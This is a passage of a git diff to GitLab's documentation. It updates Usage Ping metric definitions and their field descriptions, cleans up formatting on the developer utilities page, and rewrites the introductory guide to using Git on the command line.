definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216181943_projects_mirrored_with_pipelines_enabled.yml) -Group: `group::continuous integration` +Group: `group::pipeline execution` Status: `data_available` @@ -19060,7 +19324,7 @@ Tiers: `free` ### `usage_activity_by_stage_monthly.secure.dependency_scanning_pipeline` -no idea, what is this when did it get added? guess pipelines containing a DS job +Count of pipelines with successful Dependency Scanning jobs [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216175226_dependency_scanning_pipeline.yml) @@ -19072,15 +19336,15 @@ Tiers: `ultimate` ### `usage_activity_by_stage_monthly.secure.dependency_scanning_scans` -Missing description +Monthly number of users running Dependency Scanning Scans -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216183828_dependency_scanning_scans.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216183828_dependency_scanning_scans.yml) -Group: `` +Group: `group::composition analysis` Status: `data_available` -Tiers: `free` +Tiers: `ultimate` ### `usage_activity_by_stage_monthly.secure.sast_pipeline` @@ -19192,7 +19456,7 @@ Tiers: `free` ### `usage_activity_by_stage_monthly.secure.user_dependency_scanning_jobs` -no idea, Count of Dependency Scanning jobs run, it implies user and monthly, but AFAIK we don't track per user +Monthly number of users creating Dependency Scanning jobs [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216175222_user_dependency_scanning_jobs.yml) @@ -19204,9 +19468,9 @@ Tiers: `ultimate` ### `usage_activity_by_stage_monthly.secure.user_license_management_jobs` -no idea, Count of License Scanning jobs run, it implies user and monthly, but AFAIK we don't track per user +Monthly number of users running License Scanning jobs -[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/license/20210216175224_user_license_management_jobs.yml) +[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216175224_user_license_management_jobs.yml) Group: `group::composition analysis` @@ -19216,7 +19480,7 @@ Tiers: `ultimate` ### `usage_activity_by_stage_monthly.secure.user_preferences_group_overview_security_dashboard` -Users who set personal preference to see Security Dashboard on Group overview page +Users who set personal preference to see Security Dashboard on Group information page [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216182209_user_preferences_group_overview_security_dashboard.yml) @@ -19268,7 +19532,7 @@ Unique monthly builds in project [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175542_ci_builds.yml) -Group: `group::continuous integration` +Group: `group::pipeline execution` Status: `data_available` @@ -19280,7 +19544,7 @@ Total pipelines in external repositories in a month [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175544_ci_external_pipelines.yml) -Group: `group::continuous integration` +Group: `group::pipeline execution` Status: `data_available` @@ -19292,7 +19556,7 @@ Total pipelines in GitLab repositories in a month [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175546_ci_internal_pipelines.yml) -Group: `group::continuous integration` +Group: `group::pipeline execution` Status: `data_available` @@ -19316,7 +19580,7 @@ Total Monthly Pipelines from templates in repository [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175550_ci_pipeline_config_repository.yml) -Group: `group::continuous integration` +Group: `group::pipeline execution` Status: `data_available` @@ -19328,7 +19592,7 @@ Total monthly Pipeline schedules in GitLab [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175552_ci_pipeline_schedules.yml) -Group: `group::continuous integration` +Group: `group::pipeline execution` Status: `data_available` @@ -19340,7 +19604,7 @@ Distinct users triggering pipelines in a month [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175554_ci_pipelines.yml) -Group: `group::continuous integration` +Group: `group::pipeline execution` Status: `data_available` @@ -19352,7 +19616,7 @@ Total configured Triggers in project [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216175556_ci_triggers.yml) -Group: `group::continuous integration` +Group: `group::pipeline execution` Status: `data_available` @@ -19376,7 +19640,7 @@ Projects with a GitHub repository mirror pipeline enabled [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216175558_projects_reporting_ci_cd_back_to_github.yml) -Group: `group::continuous integration` +Group: `group::pipeline execution` Status: `data_available` @@ -19408,12 +19672,12 @@ Tiers: `free`, `premium`, `ultimate` ### `web_ide_clientside_preview_enabled` -Whether web ide clientside preview is enabled +Whether Web IDE clientside preview is enabled [YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210204124920_web_ide_clientside_preview_enabled.yml) -Group: `group::product intelligence` +Group: `group::editor` Status: `data_available` -Tiers: `free` +Tiers: `free`, `premium`, `ultimate` diff --git a/doc/development/usage_ping/index.md b/doc/development/usage_ping/index.md index 292e1256cb8..95dc4f2979a 100644 --- a/doc/development/usage_ping/index.md +++ b/doc/development/usage_ping/index.md @@ -50,10 +50,10 @@ More links: You can view the exact JSON payload sent to GitLab Inc. in the administration panel. To view the payload: 1. Sign in as a user with [Administrator](../../user/permissions.md) permissions. -1. In the top navigation bar, click **(admin)** **Admin Area**. -1. In the left sidebar, go to **Settings > Metrics and profiling**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Settings > Metrics and profiling**. 1. Expand the **Usage statistics** section. -1. Click the **Preview payload** button. +1. Select **Preview payload**. For an example payload, see [Example Usage Ping payload](#example-usage-ping-payload). @@ -62,10 +62,10 @@ For an example payload, see [Example Usage Ping payload](#example-usage-ping-pay To disable Usage Ping in the GitLab UI: 1. Sign in as a user with [Administrator](../../user/permissions.md) permissions. -1. In the top navigation bar, click **(admin)** **Admin Area**. -1. In the left sidebar, go to **Settings > Metrics and profiling**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Settings > Metrics and profiling**. 1. Expand the **Usage statistics** section. -1. Clear the **Usage Ping** checkbox and click **Save changes**. +1. Clear the **Enable usage ping** checkbox and select **Save changes**. To disable Usage Ping and prevent it from being configured in the future through the administration panel, Omnibus installs can set the following in @@ -1014,7 +1014,7 @@ Check if new metrics need to be added to the Versions Application. See `usage_da Add the `feature` label to the Merge Request for new Usage Ping metrics. These are user-facing changes and are part of expanding the Usage Ping feature. -### 8. Add a changelog file +### 8. Add a changelog Ensure you comply with the [Changelog entries guide](../changelog.md). @@ -1354,7 +1354,6 @@ The following is example content of the Usage Ping payload. "reply_by_email_enabled": "incoming+%{key}@incoming.gitlab.com", "signup_enabled": true, "web_ide_clientside_preview_enabled": true, - "ingress_modsecurity_enabled": true, "projects_with_expiration_policy_disabled": 999, "projects_with_expiration_policy_enabled": 999, ... diff --git a/doc/development/usage_ping/metrics_dictionary.md b/doc/development/usage_ping/metrics_dictionary.md index 40beee3c408..6b5fed4bcca 100644 --- a/doc/development/usage_ping/metrics_dictionary.md +++ b/doc/development/usage_ping/metrics_dictionary.md @@ -34,16 +34,18 @@ Each metric is defined in a separate YAML file consisting of a number of fields: | `product_group` | yes | The [group](https://gitlab.com/gitlab-com/www-gitlab-com/blob/master/data/stages.yml) that owns the metric. | | `product_category` | no | The [product category](https://gitlab.com/gitlab-com/www-gitlab-com/blob/master/data/categories.yml) for the metric. | | `value_type` | yes | `string`; one of [`string`, `number`, `boolean`, `object`](https://json-schema.org/understanding-json-schema/reference/type.html). | -| `status` | yes | `string`; [status](#metric-statuses) of the metric, may be set to `data_available`, `implemented`, `not_used`, `deprecated`, `removed`. | +| `status` | yes | `string`; [status](#metric-statuses) of the metric, may be set to `data_available`, `implemented`, `not_used`, `deprecated`, `removed`, `broken`. | | `time_frame` | yes | `string`; may be set to a value like `7d`, `28d`, `all`, `none`. | | `data_source` | yes | `string`; may be set to a value like `database`, `redis`, `redis_hll`, `prometheus`, `system`. | +| `data_category` | yes | `string`; [categories](#data-category) of the metric, may be set to `Operational`, `Optional`, `Subscription`, `Standard`. | | `instrumentation_class` | no | `string`; [the class that implements the metric](metrics_instrumentation.md). | | `distribution` | yes | `array`; may be set to one of `ce, ee` or `ee`. The [distribution](https://about.gitlab.com/handbook/marketing/strategic-marketing/tiers/#definitions) where the tracked feature is available. | | `tier` | yes | `array`; may be set to one of `free, premium, ultimate`, `premium, ultimate` or `ultimate`. The [tier]( https://about.gitlab.com/handbook/marketing/strategic-marketing/tiers/) where the tracked feature is available. | | `milestone` | no | The milestone when the metric is introduced. | | `milestone_removed` | no | The milestone when the metric is removed. | | `introduced_by_url` | no | The URL to the Merge Request that introduced the metric. | -| `extra` | no | `object`: extra information needed to calculate the metric value. | +| `repair_issue_url` | no | The URL of the issue that was created to repair a metric with a `broken` status. | +| `options` | no | `object`: options information needed to calculate the metric value. | | `skip_validation` | no | This should **not** be set. [Used for imported metrics until we review, update and make them valid](https://gitlab.com/groups/gitlab-org/-/epics/5425). | ### Metric statuses @@ -53,10 +55,30 @@ Metric definitions can have one of the following statuses: - `data_available`: Metric data is available and used in a Sisense dashboard. - `implemented`: Metric is implemented but data is not yet available. This is a temporary status for newly added metrics awaiting inclusion in a new release. +- `broken`: Metric reports broken data (for example, -1 fallback), or does not report data at all. A metric marked as `broken` must also have the `repair_issue_url` attribute. - `not_used`: Metric is not used in any dashboard. - `deprecated`: Metric is deprecated and possibly planned to be removed. - `removed`: Metric was removed, but it may appear in Usage Ping payloads sent from instances running on older versions of GitLab. +### Metric value_type + +Metric definitions can have one of the following values for `value_type`: + +- `boolean` +- `number` +- `string` +- `object`: A metric with `value_type: object` must have `value_json_schema` with a link to the JSON schema for the object. +In general, we avoid complex objects and prefer one of the `boolean`, `number`, or `string` value types. +An example of a metric that uses `value_type: object` is `topology` (`/config/metrics/settings/20210323120839_topology.yml`), +which has a related schema in `/config/metrics/objects_schemas/topology_schema.json`. + +### Metric time_frame + +- `7d`: The metric data applies to the most recent 7-day interval. For example, the following metric counts the number of users that create epics over a 7-day interval: `ee/config/metrics/counts_7d/20210305145820_g_product_planning_epic_created_weekly.yml`. +- `28d`: The metric data applies to the most recent 28-day interval. For example, the following metric counts the number of unique users that create issues over a 28-day interval: `config/metrics/counts_28d/20210216181139_issues.yml`. +- `all`: The metric data applies for the whole time the metric has been active (all-time interval). For example, the following metric counts all users that create issues: `/config/metrics/counts_all/20210216181115_issues.yml`. +- `none`: The metric collects a type of data that's not tracked over time, such as settings and configuration information. Therefore, a time interval is not applicable. For example, `uuid` has no time interval applicable: `config/metrics/license/20210201124933_uuid.yml`. + ### Metric name To improve metric discoverability by a wider audience, each metric with @@ -72,6 +94,15 @@ Metric name suggestions can contain two types of elements: For a metric name to be valid, it must not include any prompt, and no fixed suggestions should be changed. +### Data category + +We use the following categories to classify a metric: + +- `Operational`: Required data for operational purposes. +- `Optional`: Data that is optional to collect. This can be [enabled or disabled](../usage_ping/index.md#disable-usage-ping) in the Admin Area. +- `Subscription`: Data related to licensing. +- `Standard`: Standard set of identifiers that are included when collecting data. + ### Metric name suggestion examples #### Metric with `data_source: database` diff --git a/doc/development/usage_ping/metrics_instrumentation.md b/doc/development/usage_ping/metrics_instrumentation.md index 2cb24fab6cc..ff0dbf99a09 100644 --- a/doc/development/usage_ping/metrics_instrumentation.md +++ b/doc/development/usage_ping/metrics_instrumentation.md @@ -26,7 +26,7 @@ A metric definition has the [`instrumentation_class`](metrics_dictionary.md) fie The defined instrumentation class should have one of the existing metric classes: `DatabaseMetric`, `RedisHLLMetric`, or `GenericMetric`. -Using the instrumentation classes ensures that metrics can fail safe individually, without breaking the entire +Using the instrumentation classes ensures that metrics can fail safe individually, without breaking the entire process of Usage Ping generation. We have built a domain-specific language (DSL) to define the metrics instrumentation. @@ -53,20 +53,17 @@ end ## Redis HyperLogLog metrics -[Example of a merge request that adds a `RedisHLL` metric](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/60089/diffs). +[Example of a merge request that adds a `RedisHLL` metric](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/61685). -```ruby -module Gitlab - module Usage - module Metrics - module Instrumentations - class CountUsersUsingApproveQuickActionMetric < RedisHLLMetric - event_names :i_quickactions_approve - end - end - end - end -end +Count unique values for `i_quickactions_approve` event. + +```yaml +time_frame: 28d +data_source: redis_hll +instrumentation_class: 'Gitlab::Usage::Metrics::Instrumentations::RedisHLLMetric' +options: + events: + - i_quickactions_approve ``` ## Generic metrics @@ -88,3 +85,18 @@ module Gitlab end end ``` + +## Creating a new metric instrumentation class + +To create a stub instrumentation for a Usage Ping metric, you can use a dedicated [generator](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/generators/gitlab/usage_metric_generator.rb): + +The generator takes the class name as an argument and the following options: + +- `--type=TYPE` Required. Indicates the metric type. It must be one of: `database`, `generic`, `redis_hll`. +- `--ee` Indicates if the metric is for EE. + +```shell +rails generate gitlab:usage_metric CountIssues --type database + create lib/gitlab/usage/metrics/instrumentations/count_issues_metric.rb + create spec/lib/gitlab/usage/metrics/instrumentations/count_issues_metric_spec.rb +``` diff --git a/doc/development/utilities.md b/doc/development/utilities.md index d7baa6b23a5..b9b4c6448e2 100644 --- a/doc/development/utilities.md +++ b/doc/development/utilities.md @@ -10,11 +10,11 @@ We have developed a number of utilities to help ease development: ## `MergeHash` -Refer to [`merge_hash.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/utils/merge_hash.rb): +Refer to [`merge_hash.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/utils/merge_hash.rb): - Deep merges an array of hashes: - ``` ruby + ```ruby Gitlab::Utils::MergeHash.merge( [{ hello: ["world"] }, { hello: "Everyone" }, @@ -25,7 +25,7 @@ Refer to [`merge_hash.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/ Gives: - ``` ruby + ```ruby [ { hello: @@ -41,7 +41,7 @@ Refer to [`merge_hash.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/ - Extracts all keys and values from a hash into an array: - ``` ruby + ```ruby Gitlab::Utils::MergeHash.crush( { hello: "world", this: { crushes: ["an entire", "hash"] } } ) @@ -49,13 +49,13 @@ Refer to [`merge_hash.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/ Gives: - ``` ruby + ```ruby [:hello, "world", :this, :crushes, "an entire", "hash"] ``` ## `Override` -Refer to [`override.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/utils/override.rb): +Refer to [`override.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/utils/override.rb): - This utility can help you check if one method would override another or not. It is the same concept as Java's `@Override` annotation @@ -69,7 +69,7 @@ Refer to [`override.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gi Here's a simple example: - ``` ruby + ```ruby class Base def execute end @@ -86,7 +86,7 @@ Refer to [`override.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gi This also works on modules: - ``` ruby + ```ruby module Extension extend ::Gitlab::Utils::Override @@ -152,7 +152,7 @@ Derived.f # => nil ## `StrongMemoize` -Refer to [`strong_memoize.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/utils/strong_memoize.rb): +Refer to [`strong_memoize.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/utils/strong_memoize.rb): - Memoize the value even if it is `nil` or `false`. @@ -164,7 +164,7 @@ Refer to [`strong_memoize.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/ Instead of writing patterns like this: - ``` ruby + ```ruby class Find def result return @result if defined?(@result) @@ -176,7 +176,7 @@ Refer to [`strong_memoize.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/ You could write it like: - ``` ruby + ```ruby class Find include Gitlab::Utils::StrongMemoize @@ -190,7 +190,7 @@ Refer to [`strong_memoize.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/ - Clear memoization - ``` ruby + ```ruby class Find include Gitlab::Utils::StrongMemoize end @@ -200,7 +200,7 @@ Refer to [`strong_memoize.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/ ## `RequestCache` -Refer to [`request_cache.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/cache/request_cache.rb). +Refer to [`request_cache.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/cache/request_cache.rb). This module provides a simple way to cache values in RequestStore, and the cache key would be based on the class name, method name, @@ -209,7 +209,7 @@ method level values, and optional method arguments. A simple example that only uses the instance level customised values is: -``` ruby +```ruby class UserAccess extend Gitlab::Cache::RequestCache @@ -230,7 +230,7 @@ instance variable so the cache logic would be the same. We can also set different strategies for different methods: -``` ruby +```ruby class Commit extend Gitlab::Cache::RequestCache diff --git a/doc/development/what_requires_downtime.md b/doc/development/what_requires_downtime.md index 7d20382973a..abf49d31de2 100644 --- a/doc/development/what_requires_downtime.md +++ b/doc/development/what_requires_downtime.md @@ -1,5 +1,6 @@ --- redirect_to: 'avoiding_downtime_in_migrations.md' +remove_date: '2021-07-01' --- This document was moved to [another location](avoiding_downtime_in_migrations.md). diff --git a/doc/development/wikis.md b/doc/development/wikis.md index 9998e29b596..994312da98e 100644 --- a/doc/development/wikis.md +++ b/doc/development/wikis.md @@ -40,7 +40,7 @@ Some notable gems that are used for wikis are: We only use Gollum as a storage abstraction layer, to handle the mapping between wiki page slugs and files in the repository. When rendering wiki pages, we don't use Gollum at all and instead go through a -[custom Banzai pipeline](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/banzai/pipeline/wiki_pipeline.rb). +[custom Banzai pipeline](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/banzai/pipeline/wiki_pipeline.rb). This adds some [wiki-specific markup](../user/markdown.md#wiki-specific-markdown), such as Gollum's `[[link]]` syntax. Because we do not make use of most of Gollum's features, we plan to move away from it entirely at some point. diff --git a/doc/downgrade_ee_to_ce/README.md b/doc/downgrade_ee_to_ce/README.md index c815842480c..488d86f129d 100644 --- a/doc/downgrade_ee_to_ce/README.md +++ b/doc/downgrade_ee_to_ce/README.md @@ -1,5 +1,6 @@ --- redirect_to: 'index.md' +remove_date: '2021-05-11' --- This document was moved to [another location](index.md). diff --git a/doc/downgrade_ee_to_ce/index.md b/doc/downgrade_ee_to_ce/index.md index 15e0c43a6bb..00e59c46da1 100644 --- a/doc/downgrade_ee_to_ce/index.md +++ b/doc/downgrade_ee_to_ce/index.md @@ -23,7 +23,7 @@ alternative authentication methods to your users. ### Remove Service Integration entries from the database -The `GithubService` class is only available in the Enterprise Edition codebase, +The GitHub integration is only available in the Enterprise Edition codebase, so if you downgrade to the Community Edition, the following error displays: ```plaintext @@ -35,8 +35,8 @@ column if you didn't intend it to be used for storing the inheritance class or o use another column for that information.) ``` -All services are created automatically for every project you have, so in order -to avoid getting this error, you need to remove all instances of the +All integrations are created automatically for every project you have, so in order +to avoid getting this error, you need to remove all records with the type set to `GithubService` from your database: **Omnibus Installation** diff --git a/doc/gitlab-basics/README.md b/doc/gitlab-basics/README.md index c815842480c..488d86f129d 100644 --- a/doc/gitlab-basics/README.md +++ b/doc/gitlab-basics/README.md @@ -1,5 +1,6 @@ --- redirect_to: 'index.md' +remove_date: '2021-05-11' --- This document was moved to [another location](index.md). diff --git a/doc/gitlab-basics/add-file.md b/doc/gitlab-basics/add-file.md index 33db7d74949..6dd0c608983 100644 --- a/doc/gitlab-basics/add-file.md +++ b/doc/gitlab-basics/add-file.md @@ -33,7 +33,7 @@ cd <destination folder> to the default branch should be avoided unless your project is very small and you're the only person working on it. -You can also [switch to an existing branch](start-using-git.md#work-on-an-existing-branch) +You can also [switch to an existing branch](start-using-git.md#switch-to-a-branch) if you have one already. Using your standard tool for copying files (for example, Finder in macOS, or File Explorer diff --git a/doc/gitlab-basics/create-branch.md b/doc/gitlab-basics/create-branch.md index 8135c16bc1e..176189298c8 100644 --- a/doc/gitlab-basics/create-branch.md +++ b/doc/gitlab-basics/create-branch.md @@ -9,9 +9,9 @@ type: howto A branch is an independent line of development in a [project](../user/project/index.md). -When you create a new branch (in your [terminal](start-using-git.md#create-a-branch) or with +When you create a branch (in your [terminal](start-using-git.md#create-a-branch) or with [the web interface](../user/project/repository/web_editor.md#create-a-new-branch)), -you are creating a snapshot of a certain branch, usually the main `master` branch, +you are creating a snapshot of a certain branch, usually the main branch, at its current state. From there, you can start to make your own changes without affecting the main codebase. The history of your changes is tracked in your branch. diff --git a/doc/gitlab-basics/create-project.md b/doc/gitlab-basics/create-project.md index 18886120c63..2d9e458408a 100644 --- a/doc/gitlab-basics/create-project.md +++ b/doc/gitlab-basics/create-project.md @@ -1,5 +1,6 @@ --- redirect_to: '../user/project/working_with_projects.md' +remove_date: '2021-05-05' --- This document was moved to [another location](../user/project/working_with_projects.md). diff --git a/doc/gitlab-basics/create-your-ssh-keys.md b/doc/gitlab-basics/create-your-ssh-keys.md index 9cbaca91f7d..a99307e6dbf 100644 --- a/doc/gitlab-basics/create-your-ssh-keys.md +++ b/doc/gitlab-basics/create-your-ssh-keys.md @@ -1,5 +1,6 @@ --- redirect_to: '../ssh/README.md' +remove_date: '2021-07-04' --- This document was moved to [another location](../ssh/README.md). diff --git a/doc/gitlab-basics/fork-project.md b/doc/gitlab-basics/fork-project.md index adb49c6970f..f006f8b7ad6 100644 --- a/doc/gitlab-basics/fork-project.md +++ b/doc/gitlab-basics/fork-project.md @@ -1,5 +1,6 @@ --- redirect_to: '../user/project/working_with_projects.md' +remove_date: '2021-05-04' --- This document was moved to [another location](../user/project/working_with_projects.md). diff --git a/doc/gitlab-basics/start-using-git.md b/doc/gitlab-basics/start-using-git.md index a3c8946700a..f9623586e55 100644 --- a/doc/gitlab-basics/start-using-git.md +++ b/doc/gitlab-basics/start-using-git.md @@ -8,280 +8,254 @@ description: "Introduction to using Git through the command line." # Start using Git on the command line **(FREE)** -[Git](https://git-scm.com/) is an open-source distributed version control system designed to -handle everything from small to very large projects with speed and efficiency. GitLab is built +[Git](https://git-scm.com/) is an open-source distributed version control system. GitLab is built on top of Git. -While GitLab has a powerful user interface from which you can do a great amount of Git operations -directly in the browser, you'll eventually need to use Git through the command line for advanced -tasks. +You can do many Git operations directly in GitLab. However, the command line is required for advanced tasks, +like fixing complex merge conflicts or rolling back commits. -For example, if you need to fix complex merge conflicts, rebase branches, -merge manually, or undo and roll back commits, you must use Git from -the command line and then push your changes to the remote server. +For a quick reference of Git commands, download a [Git Cheat Sheet](https://about.gitlab.com/images/press/git-cheat-sheet.pdf). -This guide helps you get started with Git through the command line and can be your reference -for Git commands in the future. If you're only looking for a quick reference of Git commands, you -can download the GitLab [Git Cheat Sheet](https://about.gitlab.com/images/press/git-cheat-sheet.pdf). +For more information about the advantages of working with Git and GitLab: -> For more information about the advantages of working with Git and GitLab: -> -> - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> Watch the [GitLab Source Code Management Walkthrough](https://www.youtube.com/watch?v=wTQ3aXJswtM) video. -> - Learn how GitLab became the backbone of [Worldline](https://about.gitlab.com/customers/worldline/)'s development environment. +- <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> Watch the [GitLab Source Code Management Walkthrough](https://www.youtube.com/watch?v=wTQ3aXJswtM) video. +- Learn how [GitLab became the backbone of the Worldline](https://about.gitlab.com/customers/worldline/) development environment. -NOTE: -To help you visualize what you're doing locally, there are -[Git GUI apps](https://git-scm.com/download/gui/) you can install. +To help you visualize what you're doing locally, you can install a +[Git GUI app](https://git-scm.com/download/gui/). -## Requirements +## Git terminology -You don't need a GitLab account to use Git locally, but for the purpose of this guide we -recommend registering and signing into your account before starting. Some commands need a -connection between the files in your computer and their version on a remote server. +If you're familiar with Git terminology, you might want to skip this section and +go directly to [prerequisites](#prerequisites). -You must also open a [command shell](#command-shell) and have -[Git installed](#install-git) in your computer. +### Repository -### Command shell +In GitLab, files are stored in a **repository**. A repository is similar to how you +store files in a folder or directory on your computer. -To execute Git commands in your computer, you must open a command shell (also known as command -prompt, terminal, and command line) of your preference. Here are some suggestions: +- A **remote repository** refers to the files in GitLab. +- A **local copy** refers to the files on your computer. -- For macOS users: - - Built-in: [Terminal](https://blog.teamtreehouse.com/introduction-to-the-mac-os-x-command-line). Press <kbd>⌘ command</kbd> + <kbd>space</kbd> and type "terminal" to find it. - - [iTerm2](https://iterm2.com/), which you can integrate with [zsh](https://git-scm.com/book/id/v2/Appendix-A%3A-Git-in-Other-Environments-Git-in-Zsh) and [oh my zsh](https://ohmyz.sh/) for color highlighting, among other handy features for Git users. -- For Windows users: - - Built-in: `cmd`. Click the search icon on the bottom navigation bar on Windows and type `cmd` to find it. - - [PowerShell](https://docs.microsoft.com/en-us/powershell/scripting/windows-powershell/install/installing-windows-powershell?view=powershell-7): a Windows "powered up" shell, from which you can execute a greater number of commands. - - Git Bash: it comes built into [Git for Windows](https://gitforwindows.org/). -- For Linux users: - - Built-in: [Linux Terminal](https://www.howtogeek.com/140679/beginner-geek-how-to-start-using-the-linux-terminal/). +<!-- vale gitlab.Spelling = NO --> +<!-- vale gitlab.SubstitutionWarning = NO --> +Often, the word "repository" is shortened to "repo". +<!-- vale gitlab.Spelling = YES --> +<!-- vale gitlab.SubstitutionWarning = YES --> -### Install Git +In GitLab, a repository is contained in a **project**. -Open a command shell and run the following command to check if Git is already installed in your -computer: +### Fork -```shell -git --version -``` +When you want to contribute to someone else's repository, you make a copy of it. +This copy is called a [**fork**](../user/project/repository/forking_workflow.md#creating-a-fork). +The process is called "creating a fork." -If you have Git installed, the output is: +When you fork a repo, you create a copy of the project in your own +[namespace](../user/group/#namespaces). You then have write permissions to modify the project files +and settings. -```shell -git version X.Y.Z -``` +For example, you can fork this project, <https://gitlab.com/gitlab-tests/sample-project/>, into your namespace. +You now have your own copy of the repository. You can view the namespace in the URL, for example +`https://gitlab.com/your-namespace/sample-project/`. +Then you can clone the repository to your local machine, work on the files, and submit changes back to the +original repository. -If your computer doesn't recognize `git` as a command, you must [install Git](../topics/git/how_to_install_git/index.md). -After that, run `git --version` again to verify whether it was correctly installed. +### Difference between download and clone -## Configure Git +To create a copy of a remote repository's files on your computer, you can either +**download** or **clone** the repository. If you download it, you cannot sync the repository with the +remote repository on GitLab. -To start using Git from your computer, you must enter your credentials (user name and email) -to identify you as the author of your work. The user name and email should match the ones you're -using on GitLab. +[Cloning](#clone-a-repository) a repository is the same as downloading, except it preserves the Git connection +with the remote repository. You can then modify the files locally and +upload the changes to the remote repository on GitLab. -In your shell, add your user name: +### Pull and push -```shell -git config --global user.name "your_username" -``` +After you save a local copy of a repository and modify the files on your computer, you can upload the +changes to GitLab. This is referred to as **pushing** to the remote, because you use the command +[`git push`](#send-changes-to-gitlabcom). -And your email address: +When the remote repository changes, your local copy is behind. You can update your local copy with the new +changes in the remote repository. +This is referred to as **pulling** from the remote, because you use the command +[`git pull`](#download-the-latest-changes-in-the-project). -```shell -git config --global user.email "your_email_address@example.com" -``` +## Prerequisites -To check the configuration, run: +To start using GitLab with Git, complete the following tasks: -```shell -git config --global --list -``` +- Create and sign in to a GitLab account. +- [Open a terminal](#open-a-terminal). +- [Install Git](#install-git) on your computer. +- [Configure Git](#configure-git). +- [Choose a repository](#choose-a-repository). -The `--global` option tells Git to always use this information for anything you do on your system. -If you omit `--global` or use `--local`, the configuration is applied only to the current -repository. +### Open a terminal -You can read more on how Git manages configurations in the -[Git configuration documentation](https://git-scm.com/book/en/v2/Customizing-Git-Git-Configuration). +To execute Git commands on your computer, you must open a terminal (also known as command +prompt, command shell, and command line). Here are some options: -## Git authentication methods +- For macOS users: + - Built-in [Terminal](https://blog.teamtreehouse.com/introduction-to-the-mac-os-x-command-line). Press <kbd>⌘ command</kbd> + <kbd>space</kbd> and type `terminal`. + - [iTerm2](https://iterm2.com/). You can integrate it with [zsh](https://git-scm.com/book/id/v2/Appendix-A%3A-Git-in-Other-Environments-Git-in-Zsh) and [oh my zsh](https://ohmyz.sh/) for color highlighting and other advanced features. +- For Windows users: + - Built-in command line. On the Windows taskbar, select the search icon and type `cmd`. + - [PowerShell](https://docs.microsoft.com/en-us/powershell/scripting/windows-powershell/install/installing-windows-powershell?view=powershell-7). + - Git Bash. It is built into [Git for Windows](https://gitforwindows.org/). +- For Linux users: + - Built-in [Linux Terminal](https://ubuntu.com/tutorials/command-line-for-beginners#3-opening-a-terminal). -To connect your computer with GitLab, you need to add your credentials to identify yourself. -You have two options: +### Install Git -- Authenticate on a project-by-project basis through HTTPS, and enter your credentials every time - you perform an operation between your computer and GitLab. -- Authenticate through SSH once and GitLab no longer requests your credentials every time you pull, push, - and clone. +Determine if Git is already installed on your computer by opening a terminal +and running this command: -To start the authentication process, we'll [clone](#clone-a-repository) an existing repository -to our computer: +```shell +git --version +``` -- If you want to use **SSH** to authenticate, follow the instructions on the [SSH documentation](../ssh/README.md) - to set it up before cloning. -- If you want to use **HTTPS**, GitLab requests your user name and password: - - If you have 2FA enabled for your account, you must use a [Personal Access Token](../user/profile/personal_access_tokens.md) - with **read_repository** or **write_repository** permissions instead of your account's password. - Create one before cloning. - - If you don't have 2FA enabled, use your account's password. +If Git is installed, the output is: -NOTE: -Authenticating via SSH is the GitLab recommended method. You can read more about credential storage -in the [Git Credentials documentation](https://git-scm.com/book/en/v2/Git-Tools-Credential-Storage). +```shell +git version X.Y.Z +``` -## Git terminology +If your computer doesn't recognize `git` as a command, you must [install Git](../topics/git/how_to_install_git/index.md). +After you install Git, run `git --version` to confirm that it installed correctly. -If you're familiar with the 